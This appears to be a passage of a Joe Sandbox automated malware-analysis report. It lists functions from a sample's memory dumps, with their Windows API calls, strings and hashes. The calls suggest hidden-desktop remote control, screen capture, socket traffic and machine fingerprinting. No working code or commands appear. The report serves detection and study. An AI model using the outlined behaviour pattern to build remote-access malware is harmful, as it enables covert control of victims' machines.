String ID: $9q=$$9q=$$9q=$&Uq=$),'$,'$/9q=$/9q=$/Uq=$/Uq=$99yv5DbkMtLHSAV$;in%$>9q=$Button$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$eZQN$eZQN$eZQN$r~#l$|W$ly>
API String ID: 3864168910-2608590525
Opcode ID: c68dd40b57e6ceea976341984a99318381e74b743e0dc0490a19c067ca48052e
Instruction ID: cf30dc24263e033995ee5a74775fe8dab371d72e14786fe55c136d0e05518557
Opcode Fuzzy Hash: c68dd40b57e6ceea976341984a99318381e74b743e0dc0490a19c067ca48052e
Instruction Fuzzy Hash: 6354EE74D092A88BDB65CF28CC90AE9BBB1AF99304F1481DAD94DA7291DB305FC5CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0095CBF0 Relevance: 167.7, APIs: 3, Strings: 91, Instructions: 3172COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 0095CD44
CreateDirectoryA.KERNEL32(?,00000000,00000000), ref: 0095F796
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,00000000), ref: 0095FA7D

Strings

v<Ea, xrefs: 009600CA
v<Ea, xrefs: 00960943
v<Ea, xrefs: 0095E85C
v<Ea, xrefs: 0095DC4E
v<Ea, xrefs: 0095D9DC
v<Ea, xrefs: 0096071F
v<Ea, xrefs: 0095ED58
v<Ea, xrefs: 009602A6
v<Ea, xrefs: 00960022
v<Ea, xrefs: 0095FFD0
v<Ea, xrefs: 0095FABC
v<Ea, xrefs: 0095F4C8
v<Ea, xrefs: 00960560
v<Ea, xrefs: 0095D3E5
v<Ea, xrefs: 0095F476
v<Ea, xrefs: 0095EBE6
v<Ea, xrefs: 0095FDDF
v<Ea, xrefs: 0095EDA4
v<Ea, xrefs: 009601E1
v<Ea, xrefs: 0095CF85
v<Ea, xrefs: 0095E05E
v<Ea, xrefs: 0095F972
v<Ea, xrefs: 0095F0D8
v<Ea, xrefs: 00960403
v<Ea, xrefs: 0095F6FC
v<Ea, xrefs: 0095FC02
v<Ea, xrefs: 0095D067
v<Ea, xrefs: 0095CE7D
v<Ea, xrefs: 0095DA28
v<Ea, xrefs: 00960608
v<Ea, xrefs: 0095F5C2
cannot use push_back() with , xrefs: 00961038
v<Ea, xrefs: 0095CDC3
v<Ea, xrefs: 0095DED5
v<Ea, xrefs: 0095FC7B
v<Ea, xrefs: 0095F85B
v<Ea, xrefs: 0095F576
v<Ea, xrefs: 00960B48
XO4, xrefs: 0095D399
v<Ea, xrefs: 0095D21C
v<Ea, xrefs: 0095F38D
v<Ea, xrefs: 0095EA1E
v<Ea, xrefs: 00960D24
v<Ea, xrefs: 0095F8A7
v<Ea, xrefs: 00960E83
v<Ea, xrefs: 0095E6FF
v<Ea, xrefs: 00960D70
v<Ea, xrefs: 0095D2A8
v<Ea, xrefs: 0095FB0E
v<Ea, xrefs: 0095DE89
v<Ea, xrefs: 009602F2
v<Ea, xrefs: 0095FBB6
v<Ea, xrefs: 0095ECC1
v<Ea, xrefs: 0095FE73
v<Ea, xrefs: 0095EB9A
v<Ea, xrefs: 00960AA0
v<Ea, xrefs: 0095F920
v<Ea, xrefs: 0095FD8D
v<Ea, xrefs: 0095EFE9
v<Ea, xrefs: 009607E4
v<Ea, xrefs: 0095E6AD
v<Ea, xrefs: 0095E61F
v<Ea, xrefs: 0095FCCD
v<Ea, xrefs: 0095E216
v<Ea, xrefs: 0095F12A
v<Ea, xrefs: 0095DC9A
v<Ea, xrefs: 0095CECF
v<Ea, xrefs: 0095F3D9
cannot use operator[] with a string argument with , xrefs: 00961091, 009610E6
v<Ea, xrefs: 0095E80A
v<Ea, xrefs: 00960116
v<Ea, xrefs: 00960654
v<Ea, xrefs: 0095E0AA
v<Ea, xrefs: 0095FEC5
v<Ea, xrefs: 0095D0B3
v<Ea, xrefs: 00960B94
v<Ea, xrefs: 0095D2FA
v<Ea, xrefs: 0095CFD8
v<Ea, xrefs: 0096018F
v<Ea, xrefs: 00960C5F
v<Ea, xrefs: 0095E5CD
v<Ea, xrefs: 0095EEDE
v<Ea, xrefs: 0095E938
v<Ea, xrefs: 009603B1
v<Ea, xrefs: 0095F03B
v<Ea, xrefs: 0095F27C
v<Ea, xrefs: 0095EB03
v<Ea, xrefs: 0095D68A
v<Ea, xrefs: 00960830
v<Ea, xrefs: 0095E262
v<Ea, xrefs: 0095EC6F

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: CreateDirectory$FolderPath
String ID: XO4$cannot use operator[] with a string argument with $cannot use push_back() with $v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea
API String ID: 2162323195-769388876
Opcode ID: 64ae7990100802e3b78fc2a3204d551afc566d5b5aa4fc6b2b382c411caaf17a
Instruction ID: 629462405de814449520ec74fe62f3306a66ca1631013694f82bb4fc2be30dbb
Opcode Fuzzy Hash: 64ae7990100802e3b78fc2a3204d551afc566d5b5aa4fc6b2b382c411caaf17a
Instruction Fuzzy Hash: D193BCB4D152A88ADB65CF28C995BEDBBB5BF49304F0082DAD949B7241DB702F84CF41

Uniqueness

Uniqueness Score: -1.00%

Function 06F0C230 Relevance: 68.7, APIs: 37, Strings: 2, Instructions: 474
threadsleepwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadExecutionState.KERNEL32(80000041), ref: 06F0C253
SetThreadExecutionState.KERNEL32(80000001), ref: 06F0C262
CreateThread.KERNEL32(00000000,00000000,Function_00021980,00000000,00000000,00000000), ref: 06F0C277
CloseHandle.KERNEL32(00000000), ref: 06F0C28A
GetDesktopWindow.USER32 ref: 06F0C290
GetWindowRect.USER32(?,?), ref: 06F0C2AA
GetSystemMetrics.USER32(00000000), ref: 06F0C2CA
GetSystemMetrics.USER32(00000001), ref: 06F0C2DB
GetDC.USER32(00000000), ref: 06F0C301
CreateCompatibleDC.GDI32(21010926), ref: 06F0C339
CreateCompatibleBitmap.GDI32(21010926,00000000,00000000), ref: 06F0C35B
SelectObject.GDI32(00000000,00000000), ref: 06F0C376
shutdown.WS2_32(?,00000002), ref: 06F0C484
closesocket.WS2_32 ref: 06F0C49F
SetThreadDesktop.USER32(00000114), ref: 06F0C505
Sleep.KERNEL32(00000064), ref: 06F0C518
GetCurrentThreadId.KERNEL32 ref: 06F0C527
GetThreadDesktop.USER32(00000000), ref: 06F0C52E
SetThreadDesktop.USER32(00000ADC), ref: 06F0C543
GetCurrentThreadId.KERNEL32 ref: 06F0C549
GetThreadDesktop.USER32(00000000), ref: 06F0C550
BitBlt.GDI32(00000000,00000000,00000000,00000500,00000400,21010926,00000000,00000000,00CC0020), ref: 06F0C5B0
DeleteObject.GDI32(00000000), ref: 06F0C600
DeleteDC.GDI32(00000000), ref: 06F0C60A
ReleaseDC.USER32(00000000,21010926), ref: 06F0C622
Sleep.KERNEL32(000003E8), ref: 06F0C6C1
GetSystemMetrics.USER32(00000000), ref: 06F0C6E3
GetSystemMetrics.USER32(00000001), ref: 06F0C6F1
GetCurrentThreadId.KERNEL32 ref: 06F0C70C
GetThreadDesktop.USER32(00000000), ref: 06F0C713
SwitchDesktop.USER32(00000114), ref: 06F0C83E
SetThreadDesktop.USER32(00000ADC), ref: 06F0C84B
Sleep.KERNEL32(?), ref: 06F0C8DB
Sleep.KERNEL32(00000BB8), ref: 06F0C926
DeleteObject.GDI32(00000000), ref: 06F0C935
DeleteDC.GDI32(00000000), ref: 06F0C93F
ReleaseDC.USER32(00000000,21010926), ref: 06F0C958

Strings

P, xrefs: 06F0C8CD
99yv5DbkMtLHSAV, xrefs: 06F0C72E

Memory Dump Source

Source File: 00000000.00000002.4446031606.0000000006EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_file.jbxd

Similarity

API ID: Thread$Desktop$DeleteMetricsSleepSystem$CreateCurrentObject$CompatibleExecutionReleaseStateWindow$BitmapCloseHandleRectSelectSwitchclosesocketshutdown
String ID: 99yv5DbkMtLHSAV$P
API String ID: 1429317180-503916034
Opcode ID: 60740cdaba6f4c73dcdf23b45501dc67f7d77c751b5778a20780e67cdf2e6b52
Instruction ID: 3a34a00c004d890f72b7ecb8a864b8bc266f350152efd8b18ac77dc6a86ae372
Opcode Fuzzy Hash: 60740cdaba6f4c73dcdf23b45501dc67f7d77c751b5778a20780e67cdf2e6b52
Instruction Fuzzy Hash: 46223D74E01358DFEB64DFA8D884BAEBBB6BB49300F108259E609A7384C7759940DF52

Uniqueness

Uniqueness Score: -1.00%

Function 06F0C990 Relevance: 47.8, APIs: 14, Strings: 13, Instructions: 575
librarythreadloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadExecutionState.KERNEL32(80000041), ref: 06F0C9BB
SetThreadExecutionState.KERNEL32(80000001), ref: 06F0C9CA

Part of subcall function 06EED3F0: ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(06F0CA21,00000001,06F5A924,00000000), ref: 06EED41D

GetVersion.KERNEL32 ref: 06F0C9E3
GetCurrentThreadId.KERNEL32 ref: 06F0CA24
GetThreadDesktop.USER32(00000000), ref: 06F0CA2B
LoadLibraryA.KERNEL32(?,?,0000000F), ref: 06F0CB9A
GetProcAddress.KERNEL32(00000000,?), ref: 06F0CD93
GetProcAddress.KERNEL32(00000000,?), ref: 06F0CF7E
LoadLibraryA.KERNEL32(?), ref: 06F0D09B
GetProcAddress.KERNEL32(00000000,?), ref: 06F0D367
LoadLibraryA.KERNEL32(?), ref: 06F0D4B0
GdiplusStartup.GDIPLUS(?,00000001,00000000), ref: 06F0D4F7
CreateThread.KERNEL32(00000000,00000000,06F0C230,00000000,00000000,00000000), ref: 06F0D50C
CloseHandle.KERNEL32(00000000), ref: 06F0D528

Strings

J9q=, xrefs: 06F0CB29
&9q=, xrefs: 06F0CFDC
_ou(, xrefs: 06F0D134
J9q=, xrefs: 06F0D206
D:(D;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 06F0CA12
&9q=, xrefs: 06F0CADB
u]l3, xrefs: 06F0CE1E
S:(ML;;NW;;;LW), xrefs: 06F0C9FE
J9q=, xrefs: 06F0CE96
J9q=, xrefs: 06F0D43F
J9q=, xrefs: 06F0D02A
J9q=, xrefs: 06F0CCAB
99yv5DbkMtLHSAV, xrefs: 06F0CA56

Memory Dump Source

Source File: 00000000.00000002.4446031606.0000000006EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_file.jbxd

Similarity

API ID: Thread$AddressLibraryLoadProc$DescriptorExecutionSecurityState$CloseConvertCreateCurrentDesktopGdiplusHandleStartupStringVersion
String ID: &9q=$&9q=$99yv5DbkMtLHSAV$D:(D;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$S:(ML;;NW;;;LW)$_ou($u]l3
API String ID: 4097687401-1820748270
Opcode ID: bfa8616e9c73beca3e4421783674e5b3155acc54c1c9075e378c6e9d2a1962eb
Instruction ID: e370a1970d48405bfc1b3cd215736116dad5fc62cd7f6ec91dd9bd243f6a6d62
Opcode Fuzzy Hash: bfa8616e9c73beca3e4421783674e5b3155acc54c1c9075e378c6e9d2a1962eb
Instruction Fuzzy Hash: E172F074D096A88BDB26CF6898817DDFBB1AF59304F1082D9DA8CA7211EB301BC5CF55

Uniqueness

Uniqueness Score: -1.00%

Function 06EEA230 Relevance: 28.8, APIs: 4, Strings: 12, Instructions: 807
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 06EEA1E0: GetCurrentProcess.KERNEL32(00000000), ref: 06EEA1F4
Part of subcall function 06EEA1E0: IsWow64Process.KERNEL32(00000000), ref: 06EEA1FB

RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000,?,?,?), ref: 06EEA65B
RegQueryValueExA.KERNEL32(?,?,00000000,00020019,?,00000400), ref: 06EEA7C5
RegCloseKey.ADVAPI32(00000000), ref: 06EEA83D
GetCurrentHwProfileA.ADVAPI32(?), ref: 06EEA97E

Strings

J9q=, xrefs: 06EEA35C
J9q=, xrefs: 06EEA72A
J9q=, xrefs: 06EEAC2D
J9q=, xrefs: 06EEAAD6
J9q=, xrefs: 06EEAA7C
J9q=, xrefs: 06EEA565
J9q=, xrefs: 06EEABD3
J9q=, xrefs: 06EEAD44
J9q=, xrefs: 06EEACF6
J9q=, xrefs: 06EEA8E4
J9q=, xrefs: 06EEA30E
J9q=, xrefs: 06EEA896

Memory Dump Source

Source File: 00000000.00000002.4446031606.0000000006EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_file.jbxd

Similarity

API ID: CurrentProcess$CloseOpenProfileQueryValueWow64
String ID: J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=
API String ID: 165412945-3386997800
Opcode ID: 598459fdf9b38a0a5eeafa55e368509c4dedf47a28189e995a008e9e51b7bf87
Instruction ID: 09a6ff738c02fb5d8e7136007ebccafd43278911cff782a46b351e47bf98ea35
Opcode Fuzzy Hash: 598459fdf9b38a0a5eeafa55e368509c4dedf47a28189e995a008e9e51b7bf87
Instruction Fuzzy Hash: C9A2DE74D092A88BDB66CF68C890BDDBBB1AF59304F1481DAD98CA7251EB301BC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06EE9A10 Relevance: 17.9, APIs: 2, Strings: 8, Instructions: 430
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,06F5102C,?,?), ref: 06EE9B1E

Part of subcall function 06EE97E0: std::exception::exception.LIBCMTD ref: 06EE981C

GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 06EE9FE0

Strings

J9q=, xrefs: 06EE9CE2
J9q=, xrefs: 06EE9E7F
J9q=, xrefs: 06EE9E28
J9q=, xrefs: 06EE9B7F
J9q=, xrefs: 06EE9BCA
J9q=, xrefs: 06EEA063
J9q=, xrefs: 06EEA0BD
J9q=, xrefs: 06EE9C97

Memory Dump Source

Source File: 00000000.00000002.4446031606.0000000006EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_file.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowsstd::exception::exception
String ID: J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=
API String ID: 1347862782-3794784726
Opcode ID: bddbbfc0147e06881d925334cd2b4b14284452d5616a0036deaeb047bb05f677
Instruction ID: 4a53561147981bfaed11c4f4fcb901bfa9a83f3d0093d07d6d2a353f21f64c0f
Opcode Fuzzy Hash: bddbbfc0147e06881d925334cd2b4b14284452d5616a0036deaeb047bb05f677
Instruction Fuzzy Hash: 4832F074D092A88BDB66CF68C891BEDFBB1AF59300F1481D9D988A7351EB305AC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00984EB0 Relevance: 13.8, APIs: 9, Instructions: 286
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

recv.WS2_32(?,00000004,00000002,0000FFFF), ref: 00984F71
recv.WS2_32(00000000,0000000C,00000002,00000000), ref: 00984FF3
recv.WS2_32(00000000,0000000C,00000008), ref: 00985014

Part of subcall function 00985940: closesocket.WS2_32(00000000), ref: 00985A2D

recv.WS2_32(00000000,?,0000FFFF,00001006), ref: 009850CB
recv.WS2_32(?,00000004,00000008,76A923A0), ref: 009851D3
__Xtime_get_ticks.LIBCPMT ref: 009851DA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009851E8
Sleep.KERNEL32(00000001,00000000,?,00002710,00000000,76A923A0), ref: 00985261
Sleep.KERNEL32(00000064,?,00002710,00000000,76A923A0), ref: 00985269

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: recv$Sleep$Unothrow_t@std@@@Xtime_get_ticks__ehfuncinfo$??2@closesocket
String ID:
API String ID: 4162995302-0
Opcode ID: d0bc609f195688034337aae7bb919e2949ab9458c5c6b50b464fc9b4e4e3d55e
Instruction ID: 41c0eac4a20048efd38cb3af43ee1f1e0ae25bb74f6dac83dc1e069e7ffe3579
Opcode Fuzzy Hash: d0bc609f195688034337aae7bb919e2949ab9458c5c6b50b464fc9b4e4e3d55e
Instruction Fuzzy Hash: 05B1DEB0D04348DFEB10EFA8CC49BADBBB5FB86310F144219E454AB2E2D7715949CB92

Uniqueness

Uniqueness Score: -1.00%

Function 009B8080 Relevance: 9.2, Strings: 7, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

no such vfs: %s, xrefs: 009B8237
sqlite_rename_table, xrefs: 009B8464
NOCASE, xrefs: 009B83AA
MATCH, xrefs: 009B8488, 009B8499, 009B84B9, 009B84BA, 009B84D0
automatic extension loading failed: %s, xrefs: 009B85AC
RTRIM, xrefs: 009B82E8
BINARY, xrefs: 009B82A5, 009B82B4, 009B82CE, 009B830E, 009B8319, 009B8331, 009B8383, 009B8384

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID:
String ID: BINARY$MATCH$NOCASE$RTRIM$automatic extension loading failed: %s$no such vfs: %s$sqlite_rename_table
API String ID: 0-1885142750
Opcode ID: bb57beeb00fddad96f79ef0e34ce4366249fea37c6b254d6d8a303f8b876bac8
Instruction ID: 533665021989dd2e52130d9141fcf1006684b464a9d94d141ec274e8096e0cda
Opcode Fuzzy Hash: bb57beeb00fddad96f79ef0e34ce4366249fea37c6b254d6d8a303f8b876bac8
Instruction Fuzzy Hash: 100259B5A007009FEB20DF58DD467AB77ECAF88714F14442CE94A9B292DFB1E945CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06F0D540 Relevance: 9.1, Strings: 7, Instructions: 352
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

J9q=, xrefs: 06F0D8C6
J9q=, xrefs: 06F0D5D5
J9q=, xrefs: 06F0D87B
J9q=, xrefs: 06F0D9E1
J9q=, xrefs: 06F0D996
J9q=, xrefs: 06F0D620
50500, xrefs: 06F0DAEE

Memory Dump Source

Source File: 00000000.00000002.4446031606.0000000006EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_file.jbxd

Similarity

API ID: std::exception::exception
String ID: 50500$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=
API String ID: 2807920213-4054434391
Opcode ID: 3894e1abdca7b15757fd9f47ab014f3c27918208805d868c14a2a3374260d2d4
Instruction ID: 1d17e49db55714d64ea273125b4fc29825f34c841c64582ac2f8a5140f3bba17
Opcode Fuzzy Hash: 3894e1abdca7b15757fd9f47ab014f3c27918208805d868c14a2a3374260d2d4
Instruction Fuzzy Hash: D6121270D052A88BDB65CFA8C991BEDFBB1AF49300F1082D9D999A7391DB301A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 009A3880 Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 550
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\*.*, xrefs: 009A3BE4

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID:
String ID: \*.*
API String ID: 0-1173974218
Opcode ID: ebf9cff0932883c4aea092dd4076b080323b34362a742a5c5b4a71c6f24c711c
Instruction ID: 48f77d4de398cc35526640f1b8e8725cc00e788722be16c917b5e62db6c811fe
Opcode Fuzzy Hash: ebf9cff0932883c4aea092dd4076b080323b34362a742a5c5b4a71c6f24c711c
Instruction Fuzzy Hash: 77222270D00248DFDB14CFA8C9857EEBBB4FF46314F248259F455AB282D7749A84CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 06EE9080 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 06EE90A3
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,06F5A928), ref: 06EE9114

Strings

99yv5DbkMtLHSAV, xrefs: 06EE9089, 06EE90B2

Memory Dump Source

Source File: 00000000.00000002.4446031606.0000000006EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_file.jbxd

Similarity

API ID: Desktop$CreateOpen
String ID: 99yv5DbkMtLHSAV
API String ID: 153846745-3702820102
Opcode ID: 9bd05896bd7c3439863c1569647420b4c03d26c56a95f2f309a95feebb85b5f8
Instruction ID: 532c43eaa7ef327ad26c9622e0435070e52ab468aed9cd8f3b6db2257e49627e
Opcode Fuzzy Hash: 9bd05896bd7c3439863c1569647420b4c03d26c56a95f2f309a95feebb85b5f8
Instruction Fuzzy Hash: 2011F3B4E0430DAFDB44CF94C845BEEBBB0AB09300F104199EA10BB381D7759A84CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00984130 Relevance: 4.3, Strings: 3, Instructions: 536COMMON

Download Yara Rule

Strings

v<Ea, xrefs: 00984239
default, xrefs: 00984521, 0098453A
v<Ea, xrefs: 0098477D

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: __fread_nolock
String ID: default$v<Ea$v<Ea
API String ID: 2638373210-492681428
Opcode ID: 8f9d0f1115dce4c8e6d09b64115aadbcd621a3f2d9310e110c552da0f3dd5492
Instruction ID: 2bb87cf636614200a34be39da77a8e0d8021c9d8e1f587ca569409cc0c3bb604
Opcode Fuzzy Hash: 8f9d0f1115dce4c8e6d09b64115aadbcd621a3f2d9310e110c552da0f3dd5492
Instruction Fuzzy Hash: 1E32BBB5D00249CFCB04DFA8C841BAEBBB5FF49304F248159E915AB382D775AE45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 009833B0 Relevance: 4.1, Strings: 3, Instructions: 313COMMON

